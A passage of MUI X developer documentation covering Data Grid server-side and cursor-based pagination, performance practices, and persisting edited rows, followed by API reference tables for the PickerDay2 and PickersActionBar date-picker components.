import { DataGrid } from '@mui/x-data-grid';
import { createFakeServer } from '@mui/x-data-grid-generator';

const SERVER_OPTIONS = {
  useCursorPagination: false,
};

const { useQuery, ...data } = createFakeServer({}, SERVER_OPTIONS);

export default function ServerPaginationGrid() {
  const [paginationModel, setPaginationModel] = React.useState({
    page: 0,
    pageSize: 5,
  });

  const { isLoading, rows, pageInfo } = useQuery(paginationModel);

  // Some API clients return undefined while loading
  // Following lines are here to prevent `rowCount` from being undefined during the loading
  const rowCountRef = React.useRef(pageInfo?.totalRowCount || 0);

  const rowCount = React.useMemo(() => {
    if (pageInfo?.totalRowCount !== undefined) {
      rowCountRef.current = pageInfo.totalRowCount;
    }
    return rowCountRef.current;
  }, [pageInfo?.totalRowCount]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        {...data}
        rowCount={rowCount}
        loading={isLoading}
        pageSizeOptions={[5]}
        paginationModel={paginationModel}
        paginationMode="server"
        onPaginationModelChange={setPaginationModel}
      />
    </div>
  );
}

```

:::warning
If the value `rowCount` becomes `undefined` during loading, it will reset the page to zero.
To avoid this issue, you can memoize the `rowCount` value to ensure it doesn't change during loading:

```jsx
const rowCountRef = React.useRef(pageInfo?.totalRowCount || 0);

const rowCount = React.useMemo(() => {
  if (pageInfo?.totalRowCount !== undefined) {
    rowCountRef.current = pageInfo.totalRowCount;
  }
  return rowCountRef.current;
}, [pageInfo?.totalRowCount]);

<DataGrid rowCount={rowCount} />;
```

:::

#### Unknown row count

Pass the props to the Data Grid as explained in the table above to handle the case when the actual row count is unknown, as the following example demonstrates.

```tsx
import * as React from 'react';
import { DataGrid, GridPaginationMeta, useGridApiRef } from '@mui/x-data-grid';
import { createFakeServer } from '@mui/x-data-grid-generator';

const SERVER_OPTIONS = {
  useCursorPagination: false,
};

const rowLength = 98;

const { useQuery, ...data } = createFakeServer({ rowLength }, SERVER_OPTIONS);

export default function ServerPaginationGridNoRowCount() {
  const apiRef = useGridApiRef();
  const [paginationModel, setPaginationModel] = React.useState({
    page: 0,
    pageSize: 5,
  });

  const {
    isLoading,
    rows,
    pageInfo: { hasNextPage },
  } = useQuery(paginationModel);

  const paginationMetaRef = React.useRef<GridPaginationMeta>(undefined);

  // Memoize to avoid flickering when the `hasNextPage` is `undefined` during refetch
  const paginationMeta = React.useMemo(() => {
    if (
      hasNextPage !== undefined &&
      paginationMetaRef.current?.hasNextPage !== hasNextPage
    ) {
      paginationMetaRef.current = { hasNextPage };
    }
    return paginationMetaRef.current;
  }, [hasNextPage]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        apiRef={apiRef}
        rows={rows}
        {...data}
        initialState={{ ...data.initialState, pagination: { rowCount: -1 } }}
        paginationMeta={paginationMeta}
        loading={isLoading}
        pageSizeOptions={[5, 10, 25, 50]}
        paginationModel={paginationModel}
        paginationMode="server"
        onPaginationModelChange={setPaginationModel}
      />
    </div>
  );
}

```

:::warning
The value of the `hasNextPage` variable might become `undefined` during loading if it's handled by some external fetching hook resulting in unwanted computations, one possible solution could be to memoize the `paginationMeta`:

```tsx
const paginationMetaRef = React.useRef<GridPaginationMeta>();

const paginationMeta = React.useMemo(() => {
  if (
    hasNextPage !== undefined &&
    paginationMetaRef.current?.hasNextPage !== hasNextPage
  ) {
    paginationMetaRef.current = { hasNextPage };
  }
  return paginationMetaRef.current;
}, [hasNextPage]);
```

:::

#### Estimated row count

Estimated row count could be considered a hybrid approach that switches between the "Known row count" and "Unknown row count" use cases.

Initially, when an `estimatedRowCount` is set and `rowCount={-1}`, the Data Grid behaves as in the "Unknown row count" use case, but with the `estimatedRowCount` value shown in the pagination footer.

If the number of rows loaded exceeds the `estimatedRowCount`, the Data Grid ignores the `estimatedRowCount` and the behavior is identical to the "Unknown row count" use case.

When the `hasNextPage` returns `false` or `rowCount` is set to a positive number, the Data Grid switches to the "Known row count" behavior.

In the following example, the actual row count is `1000` but the Data Grid is initially provided with `estimatedRowCount={100}`.
You can set the `rowCount` to the actual row count by pressing the "Set Row Count" button.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import { DataGrid, useGridApiRef } from '@mui/x-data-grid';
import type { GridPaginationMeta } from '@mui/x-data-grid';
import { createFakeServer } from '@mui/x-data-grid-generator';

const SERVER_OPTIONS = {
  useCursorPagination: false,
};

const { useQuery, ...data } = createFakeServer({ rowLength: 1000 }, SERVER_OPTIONS);

export default function ServerPaginationGridEstimated() {
  const apiRef = useGridApiRef();
  const [paginationModel, setPaginationModel] = React.useState({
    page: 0,
    pageSize: 50,
  });

  const {
    isLoading,
    rows,
    pageInfo: { hasNextPage },
  } = useQuery(paginationModel);

  const paginationMetaRef = React.useRef<GridPaginationMeta>({});
  // Memoize to avoid flickering when the `hasNextPage` is `undefined` during refetch
  const paginationMeta = React.useMemo(() => {
    if (
      hasNextPage !== undefined &&
      paginationMetaRef.current?.hasNextPage !== hasNextPage
    ) {
      paginationMetaRef.current = { hasNextPage };
    }
    return paginationMetaRef.current;
  }, [hasNextPage]);

  return (
    <div style={{ width: '100%' }}>
      <Button onClick={() => apiRef.current?.setRowCount(1000)}>
        Set Row Count
      </Button>
      <div style={{ height: 400 }}>
        <DataGrid
          apiRef={apiRef}
          rows={rows}
          {...data}
          initialState={{ ...data.initialState, pagination: { rowCount: -1 } }}
          estimatedRowCount={100}
          paginationMeta={paginationMeta}
          loading={isLoading}
          pageSizeOptions={[10, 25, 50, 100]}
          paginationModel={paginationModel}
          paginationMode="server"
          onPaginationModelChange={setPaginationModel}
        />
      </div>
    </div>
  );
}

```

:::warning
The `hasNextPage` must not be set to `false` until there are _actually_ no records left to fetch, because when `hasNextPage` becomes `false`, the Grid considers this as the last page and tries to set the `rowCount` value to a finite value.

If an external data fetching library sets the values to undefined during loading, you can memoize the `paginationMeta` value to ensure it doesn't change during loading as shown in the "Unknown row count" section.
:::

:::info

🌍 **Localization of the estimated row count**

The Data Grid uses the [Table Pagination](/material-ui/api/table-pagination/) component from the Material UI library which doesn't support `estimated` row count. Until this is supported natively by the Table Pagination component, a workaround to make the localization work is to provide the `paginationDisplayedRows` function to the `localeText` object as per the locale you are interested in.

The Grid injects an additional variable `estimated` to the `paginationDisplayedRows` function which you can use to accommodate the estimated row count.
The following example demonstrates how to show the estimated row count in the pagination footer in the Croatian (hr-HR) language.

```jsx
const paginationDisplayedRows = ({ from, to, count, estimated }) => {
  if (!estimated) {
    return `${from}–${to} od ${count !== -1 ? count : `više nego ${to}`}`;
  }
  const estimateLabel =
    estimated && estimated > to ? `oko ${estimated}` : `više nego ${to}`;
  return `${from}–${to} od ${count !== -1 ? count : estimateLabel}`;
};

<DataGrid {...data} localeText={{ paginationDisplayedRows }} />;
```

For more information, see the [Translation keys](/x/react-data-grid/localization/#translation-keys) section of the localization documentation.

:::

### Cursor-based pagination

You can also handle servers with cursor-based pagination.
To do so, you just have to keep track of the next cursor associated with each page you fetched.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridRowId,
  GridPaginationModel,
  GridPaginationMeta,
} from '@mui/x-data-grid';
import Radio from '@mui/material/Radio';
import RadioGroup from '@mui/material/RadioGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import FormControl from '@mui/material/FormControl';
import FormLabel from '@mui/material/FormLabel';
import { createFakeServer } from '@mui/x-data-grid-generator';

const PAGE_SIZE = 5;

const SERVER_OPTIONS = {
  useCursorPagination: true,
};

const { useQuery, ...data } = createFakeServer({}, SERVER_OPTIONS);

type RowCountType = 'known' | 'unknown' | 'estimated';

export default function CursorPaginationGrid() {
  const [rowCountType, setRowCountType] = React.useState<RowCountType>('known');

  const mapPageToNextCursor = React.useRef<{ [page: number]: GridRowId }>({});

  const [paginationModel, setPaginationModel] = React.useState({
    page: 0,
    pageSize: PAGE_SIZE,
  });

  const queryOptions = React.useMemo(
    () => ({
      cursor: mapPageToNextCursor.current[paginationModel.page - 1],
      pageSize: paginationModel.pageSize,
    }),
    [paginationModel],
  );
  const {
    isLoading,
    rows,
    pageInfo: { hasNextPage, nextCursor, totalRowCount },
  } = useQuery(queryOptions);

  const handlePaginationModelChange = (newPaginationModel: GridPaginationModel) => {
    // We have the cursor, we can allow the page transition.
    if (
      newPaginationModel.page === 0 ||
      mapPageToNextCursor.current[newPaginationModel.page - 1]
    ) {
      setPaginationModel(newPaginationModel);
    }
  };

  const paginationMetaRef = React.useRef<GridPaginationMeta>(undefined);

  // Memoize to avoid flickering when the `hasNextPage` is `undefined` during refetch
  const paginationMeta = React.useMemo(() => {
    if (
      hasNextPage !== undefined &&
      paginationMetaRef.current?.hasNextPage !== hasNextPage
    ) {
      paginationMetaRef.current = { hasNextPage };
    }
    return paginationMetaRef.current;
  }, [hasNextPage]);

  React.useEffect(() => {
    if (!isLoading && nextCursor) {
      // We add nextCursor when available
      mapPageToNextCursor.current[paginationModel.page] = nextCursor;
    }
  }, [paginationModel.page, isLoading, nextCursor]);

  // Some API clients return undefined while loading
  // Following lines are here to prevent `rowCountState` from being undefined during the loading
  const [rowCountState, setRowCountState] = React.useState(totalRowCount || 0);
  React.useEffect(() => {
    if (rowCountType === 'known') {
      setRowCountState((prevRowCountState) =>
        totalRowCount !== undefined ? totalRowCount : prevRowCountState,
      );
    }
    if (
      (rowCountType === 'unknown' || rowCountType === 'estimated') &&
      paginationMeta?.hasNextPage !== false
    ) {
      setRowCountState(-1);
    }
  }, [paginationMeta?.hasNextPage, rowCountType, totalRowCount]);

  const prevEstimatedRowCount = React.useRef<number | undefined>(undefined);
  const estimatedRowCount = React.useMemo(() => {
    if (rowCountType === 'estimated') {
      if (totalRowCount !== undefined) {
        if (prevEstimatedRowCount.current === undefined) {
          prevEstimatedRowCount.current = totalRowCount / 2;
        }
        return totalRowCount / 2;
      }
      return prevEstimatedRowCount.current;
    }
    return undefined;
  }, [rowCountType, totalRowCount]);

  return (
    <div style={{ width: '100%' }}>
      <FormControl>
        <FormLabel id="demo-cursor-pagination-buttons-group-label">
          Row count
        </FormLabel>
        <RadioGroup
          row
          aria-labelledby="demo-cursor-pagination-buttons-group-label"
          name="cursor-pagination-buttons-group"
          value={rowCountType}
          onChange={(event) => setRowCountType(event.target.value as RowCountType)}
        >
          <FormControlLabel value="known" control={<Radio />} label="Known" />
          <FormControlLabel value="unknown" control={<Radio />} label="Unknown" />
          <FormControlLabel
            value="estimated"
            control={<Radio />}
            label="Estimated"
          />
        </RadioGroup>
      </FormControl>
      <div style={{ height: 400 }}>
        <DataGrid
          rows={rows}
          {...data}
          pageSizeOptions={[PAGE_SIZE]}
          rowCount={rowCountState}
          onRowCountChange={(newRowCount) => setRowCountState(newRowCount)}
          estimatedRowCount={estimatedRowCount}
          paginationMeta={paginationMeta}
          paginationMode="server"
          onPaginationModelChange={handlePaginationModelChange}
          paginationModel={paginationModel}
          loading={isLoading}
        />
      </div>
    </div>
  );
}

```

## Custom pagination UI

You can customize the rendering of the pagination in the footer following [the component section](/x/react-data-grid/components/#pagination) of the documentation.

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of the pagination feature.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import api from 'docsx/pages/x/api/data-grid/grid-pagination-api.json';

export default function PaginationApiNoSnap() {
  return <ApiDocs api={api} />;
}

```

## Selectors

{{"component": "modules/components/SelectorsDocs.js", "category": "Pagination"}}

More information about the selectors and how to use them on the [dedicated page](/x/react-data-grid/state/#access-the-state)

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/performance.md

# Data Grid - Performance

Follow these recommendations to improve your Data Grid's performance.

The Data Grid is a complex component that renders many elements, and you can inadvertently introduce performance issues by triggering unnecessary re-renders.
This guide describes best practices for implementing your Data Grid to avoid common problems.

## Maintain a stable reference when passing props

As a general rule, all non-primitive props should maintain a stable reference between renders to avoid unnecessary re-renders.
This is especially important for the `columns` prop.
Columns are designed to be definitions that never change once the component is mounted; otherwise, you risk losing elements like column width or order.

There are two ways to maintain a stable reference:

1. If the columns don't depend on anything within the component scope, you can define them outside of the component and pass them as a prop:

   ```tsx
   const columns = [
     { field: 'id' },
     { field: 'firstName' },
     { field: 'lastName' },
     { field: 'age' },
     { field: 'fullName' },
   ];

   function App() {
     return <DataGrid columns={columns} {...other} />;
   }
   ```

2. If the columns require something within the component scope, such as a state value or a prop, you can use the `useMemo` hook to keep a stable reference between renders:

   ```tsx
   function App(props) {
     const renderCell = React.useCallback(
       (params) => {
         return (
           <strong>
             {params.value} {props.someValue}
           </strong>
         );
       },
       [props.someValue],
     );

     const columns = React.useMemo(
       () => [
         { field: 'id' },
         { field: 'firstName' },
         { field: 'lastName' },
         { field: 'age' },
         { field: 'fullName', renderCell },
       ],
       [renderCell],
     );

     return <DataGrid columns={columns} {...other} />;
   }
   ```

## Extract static objects and memoize root props

The Data Grid component uses `React.memo` to optimize its performance, which means the Grid and its subcomponents only re-render when their props change.
But it's very easy to cause unnecessary re-renders if the root props of your Data Grid aren't memoized.
In the example below, the `slots` and `initialState` objects are re-created on every render, which means the Data Grid itself has no choice but to re-render as well.

```tsx
function Component(props) {
  return (
    <DataGrid
      rows={props.rows}
      slots={{
        row: CustomRow,
      }}
      cellModesModel={{ [props.rows[0].id]: { name: { mode: GridCellModes.Edit } } }}
    />
  );
}
```

One way to prevent re-renders is to extract any objects that can be static, and to memoize any objects that depend on other objects.
This applies to any prop that's an object or a function.

```tsx
const slots = {
  row: CustomRow,
};

function Component(props) {
  const cellModesModel = React.useMemo(
    () => ({ [props.rows[0].id]: { name: { mode: GridCellModes.Edit } } }),
    [props.rows],
  );

  return (
    <DataGrid rows={props.rows} slots={slots} cellModesModel={cellModesModel} />
  );
}
```

## Visualizing the re-rendering process

The Data Grid memoizes some of its subcomponents to avoid re-rendering more than necessary.
Below is a visualization that shows you which cells re-render in response to your interactions with the Grid.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import useForkRef from '@mui/utils/useForkRef';
import { DataGridPro, GridCell } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const TraceUpdates = React.forwardRef<any, any>((props, ref) => {
  const { Component, ...other } = props;
  const rootRef = React.useRef<HTMLElement>(null);
  const handleRef = useForkRef(rootRef, ref);

  React.useEffect(() => {
    const root = rootRef.current;
    root!.classList.add('updating');
    root!.classList.add('updated');

    const timer = setTimeout(() => {
      root!.classList.remove('updating');
    }, 360);

    return () => {
      clearTimeout(timer);
    };
  });

  return <Component ref={handleRef} {...other} />;
});

const CellWithTracer = React.forwardRef((props, ref) => {
  return <TraceUpdates ref={ref} Component={GridCell} {...props} />;
}) as typeof GridCell;

const slots = {
  cell: CellWithTracer,
};

export default function GridVisualization() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    editable: true,
    maxColumns: 15,
  });

  return (
    <Box
      sx={(theme) => ({
        height: 400,
        width: '100%',
        '&&& .updated': {
          transition: theme.transitions.create(['background-color', 'outline'], {
            duration: theme.transitions.duration.standard,
          }),
        },
        '&&& .updating': {
          backgroundColor: 'rgb(92 199 68 / 20%)',
          outline: '1px solid rgb(92 199 68 / 35%)',
          outlineOffset: '-1px',
          transition: 'none',
        },
      })}
    >
      <DataGridPro
        {...data}
        loading={loading}
        rowHeight={38}
        checkboxSelection
        disableRowSelectionOnClick
        slots={slots}
      />
    </Box>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/editing/persistence.md

# Data Grid - Editing persistence

Persisting edited rows.

## The `processRowUpdate()` callback

When the user performs an action to [stop editing](/x/react-data-grid/editing/#stop-editing), the `processRowUpdate()` callback is triggered.
Use it to send the new values to the server and save them into a database or other storage method.
The callback is called with three arguments:

1. The updated row with the new values returned by the [`valueSetter()`](/x/react-data-grid/editing/#value-parser-and-value-setter).
2. The original values of the row before editing.
3. An object with additional properties such as `rowId`.

Please note that the `processRowUpdate()` must return the row object to update the Data Grid internal state.
The value returned is used later as an argument on a call to `apiRef.current.updateRows()`.

```tsx
<DataGrid
  rows={rows}
  columns={columns}
  processRowUpdate={(updatedRow, originalRow) =>
    mySaveOnServerFunction(updatedRow);
  }
  onProcessRowUpdateError={handleProcessRowUpdateError}
/>
```

If you want to delete a row from the internal state of the Data Grid, you can return an additional property `_action: 'delete'` in the row object from the `processRowUpdate()` callback.
This removes the row from the internal state of the Data Grid.
It is a more performant way to delete a row as compared to updating the [`rows` prop](/x/react-data-grid/row-updates/#the-rows-prop) or using `setRows()` API method because `processRowUpdate` uses the [`updateRows()`](/x/react-data-grid/row-updates/#the-updaterows-method) under the hood which doesn't cause a full regeneration of the row tree.

```tsx
<DataGrid
  {...otherProps}
  processRowUpdate={(updatedRow, originalRow) => {
    if (shouldDeleteRow(updatedRow)) {
      return { ...updatedRow, _action: 'delete' };
    }
    return updatedRow;
  }}
/>
```

In the example above, `shouldDeleteRow` is a function that determines whether a row should be deleted based on the updated row data.
If `shouldDeleteRow` returns `true`, the row will be deleted from the Data Grid's internal state.

## Server-side validation

If you need to cancel the save process on `processRowUpdate()`—for instance, when a database validation fails, or the user wants to reject the changes—there are two options:

1. Reject the promise so that the internal state is not updated and the cell remains in edit mode.
2. Resolve the promise with the second argument (original row before editing), so that the internal state is not updated, and the cell exits edit mode.

The following demo implements the first option: rejecting the promise.
Instead of [validating](/x/react-data-grid/editing/#validation) while typing, it simulates validation on the server.
If the new name is empty, the promise responsible for saving the row will be rejected, and the cell will remain in edit mode.

The demo also shows that `processRowUpdate()` can pre-process the row model that will be saved into the internal state.

Additionally, `onProcessRowUpdateError()` is called to display the error message.

To exit edit mode, press <kbd class="key">Escape</kbd> or enter a valid name.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridRowModel,
  GridColDef,
  GridRowId,
  GridRowsProp,
} from '@mui/x-data-grid';
import {
  randomCreatedDate,
  randomTraderName,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';
import Snackbar from '@mui/material/Snackbar';
import Alert, { AlertProps } from '@mui/material/Alert';

interface User {
  name: string;
  age: number;
  id: GridRowId;
  dateCreated: Date;
  lastLogin: Date;
}

const useFakeMutation = () => {
  return React.useCallback(
    (user: Partial<User>) =>
      new Promise<Partial<User>>((resolve, reject) => {
        setTimeout(() => {
          if (user.name?.trim() === '') {
            reject(new Error('Error while saving user: name cannot be empty.'));
          } else {
            resolve({ ...user, name: user.name?.toUpperCase() });
          }
        }, 200);
      }),
    [],
  );
};

export default function ServerSidePersistence() {
  const mutateRow = useFakeMutation();

  const [snackbar, setSnackbar] = React.useState<Pick<
    AlertProps,
    'children' | 'severity'
  > | null>(null);

  const handleCloseSnackbar = () => setSnackbar(null);

  const processRowUpdate = React.useCallback(
    async (newRow: GridRowModel) => {
      // Make the HTTP request to save in the backend
      const response = await mutateRow(newRow);
      setSnackbar({ children: 'User successfully saved', severity: 'success' });
      return response;
    },
    [mutateRow],
  );

  const handleProcessRowUpdateError = React.useCallback((error: Error) => {
    setSnackbar({ children: error.message, severity: 'error' });
  }, []);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        processRowUpdate={processRowUpdate}
        onProcessRowUpdateError={handleProcessRowUpdateError}
      />
      {!!snackbar && (
        <Snackbar
          open
          anchorOrigin={{ vertical: 'bottom', horizontal: 'center' }}
          onClose={handleCloseSnackbar}
          autoHideDuration={6000}
        >
          <Alert {...snackbar} onClose={handleCloseSnackbar} />
        </Snackbar>
      )}
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 180, editable: true },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    editable: true,
    align: 'left',
    headerAlign: 'left',
  },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
    editable: true,
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

## Confirm before saving

The second option—resolving the promise with the second argument—lets the user cancel the save process by rejecting the changes and exiting the edit mode.
In this case, `processRowUpdate()` is resolved with the original value(s) of the row.

The following demo shows how this approach can be used to ask for confirmation before sending the data to the server.
If the user accepts the change, the internal state is updated with the values.
But if the changes are rejected, the internal state remains unchanged, and the cell is reverted back to its original value.
The demo also employs validation to prevent entering an empty name.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridRowModel,
  GridColDef,
  GridRowId,
  GridRowsProp,
} from '@mui/x-data-grid';
import {
  randomCreatedDate,
  randomTraderName,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';
import Snackbar from '@mui/material/Snackbar';
import Dialog from '@mui/material/Dialog';
import DialogTitle from '@mui/material/DialogTitle';
import DialogContent from '@mui/material/DialogContent';
import DialogActions from '@mui/material/DialogActions';
import Button from '@mui/material/Button';
import Alert, { AlertProps } from '@mui/material/Alert';

interface User {
  name: string;
  age: number;
  id: GridRowId;
  dateCreated: Date;
  lastLogin: Date;
}

const useFakeMutation = () => {
  return React.useCallback(
    (user: Partial<User>) =>
      new Promise<Partial<User>>((resolve, reject) => {
        setTimeout(() => {
          if (user.name?.trim() === '') {
            reject();
          } else {
            resolve(user);
          }
        }, 200);
      }),
    [],
  );
};

function computeMutation(newRow: GridRowModel, oldRow: GridRowModel) {
  if (newRow.name !== oldRow.name) {
    return `Name from '${oldRow.name}' to '${newRow.name}'`;
  }
  if (newRow.age !== oldRow.age) {
    return `Age from '${oldRow.age || ''}' to '${newRow.age || ''}'`;
  }
  return null;
}

export default function AskConfirmationBeforeSave() {
  const mutateRow = useFakeMutation();
  const noButtonRef = React.useRef<HTMLButtonElement>(null);
  const [promiseArguments, setPromiseArguments] = React.useState<any>(null);

  const [snackbar, setSnackbar] = React.useState<Pick<
    AlertProps,
    'children' | 'severity'
  > | null>(null);

  const handleCloseSnackbar = () => setSnackbar(null);

  const processRowUpdate = React.useCallback(
    (newRow: GridRowModel, oldRow: GridRowModel) =>
      new Promise<GridRowModel>((resolve, reject) => {
        const mutation = computeMutation(newRow, oldRow);
        if (mutation) {
          // Save the arguments to resolve or reject the promise later
          setPromiseArguments({ resolve, reject, newRow, oldRow });
        } else {
          resolve(oldRow); // Nothing was changed
        }
      }),
    [],
  );

  const handleNo = () => {
    const { oldRow, resolve } = promiseArguments;
    resolve(oldRow); // Resolve with the old row to not update the internal state
    setPromiseArguments(null);
  };

  const handleYes = async () => {
    const { newRow, oldRow, reject, resolve } = promiseArguments;

    try {
      // Make the HTTP request to save in the backend
      const response = await mutateRow(newRow);
      setSnackbar({ children: 'User successfully saved', severity: 'success' });
      resolve(response);
      setPromiseArguments(null);
    } catch (error) {
      setSnackbar({ children: 'Name cannot be empty', severity: 'error' });
      reject(oldRow);
      setPromiseArguments(null);
    }
  };

  const handleEntered = () => {
    // The `autoFocus` is not used because, if used, the same Enter that saves
    // the cell triggers "No". Instead, we manually focus the "No" button once
    // the dialog is fully open.
    // noButtonRef.current?.focus();
  };

  const renderConfirmDialog = () => {
    if (!promiseArguments) {
      return null;
    }

    const { newRow, oldRow } = promiseArguments;
    const mutation = computeMutation(newRow, oldRow);

    return (
      <Dialog
        maxWidth="xs"
        TransitionProps={{ onEntered: handleEntered }}
        open={!!promiseArguments}
      >
        <DialogTitle>Are you sure?</DialogTitle>
        <DialogContent dividers>
          {`Pressing 'Yes' will change ${mutation}.`}
        </DialogContent>
        <DialogActions>
          <Button ref={noButtonRef} onClick={handleNo}>
            No
          </Button>
          <Button onClick={handleYes}>Yes</Button>
        </DialogActions>
      </Dialog>
    );
  };

  return (
    <div style={{ height: 400, width: '100%' }}>
      {renderConfirmDialog()}
      <DataGrid rows={rows} columns={columns} processRowUpdate={processRowUpdate} />
      {!!snackbar && (
        <Snackbar open onClose={handleCloseSnackbar} autoHideDuration={6000}>
          <Alert {...snackbar} onClose={handleCloseSnackbar} />
        </Snackbar>
      )}
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 180, editable: true },
  { field: 'age', headerName: 'Age', type: 'number', editable: true },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/date-pickers/picker-day-2.md

# PickerDay2 API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)
- [Customization playground](/x/react-date-pickers/playground/)

## Import

```jsx
import { PickerDay2 } from '@mui/x-date-pickers/PickerDay2';
// or
import { PickerDay2 } from '@mui/x-date-pickers';
// or
import { PickerDay2 } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| day | `object` | - | Yes |  |
| isFirstVisibleCell | `bool` | - | Yes |  |
| isLastVisibleCell | `bool` | - | Yes |  |
| outsideCurrentMonth | `bool` | - | Yes |  |
| action | `func \| { current?: { focusVisible: func } }` | - | No |  |
| centerRipple | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| disabled | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableMargin | `bool` | `false` | No |  |
| disableRipple | `bool` | `false` | No |  |
| disableTouchRipple | `bool` | `false` | No |  |
| focusRipple | `bool` | `false` | No |  |
| focusVisibleClassName | `string` | - | No |  |
| isVisuallySelected | `bool` | - | No |  |
| onFocusVisible | `func` | - | No |  |
| selected | `bool` | `false` | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| today | `bool` | `false` | No |  |
| TouchRippleProps | `object` | - | No |  |
| touchRippleRef | `func \| { current?: { pulsate: func, start: func, stop: func } }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLButtonElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiPickerDay2` to change the default props of this component with the theme.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | dayOutsideMonth | Styles applied to the root element if `outsideCurrentMonth=true` and `showDaysOutsideCurrentMonth=true`. |
| `.Mui-disabled` | - | State class applied to the root element if `disabled=true`. |
| - | fillerCell | Styles applied to the root element if `outsideCurrentMonth=true` and `showDaysOutsideCurrentMonth=false`. |
| - | root | Styles applied to the root element. |
| `.Mui-selected` | - | State class applied to the root element if `selected=true`. |
| - | today | Styles applied to the root element if `disableHighlightToday=false` and `today=true`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/PickerDay2/PickerDay2.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/PickerDay2/PickerDay2.tsx)

---

# Source: https://mui.com/x/api/date-pickers/pickers-action-bar.md

# PickersActionBar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)
- [Custom layout](/x/react-date-pickers/custom-layout/)

## Import

```jsx
import { PickersActionBar } from '@mui/x-date-pickers/PickersActionBar';
// or
import { PickersActionBar } from '@mui/x-date-pickers';
// or
import { PickersActionBar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| actions | `Array<'accept' \| 'cancel' \| 'clear' \| 'next' \| 'nextOrAccept' \| 'today'>` | ``[]` for Pickers with one selection step which `closeOnSelect`.
- `['cancel', 'nextOrAccept']` for all other Pickers.` | No |  |
| disableSpacing | `bool` | `false` | No |  |
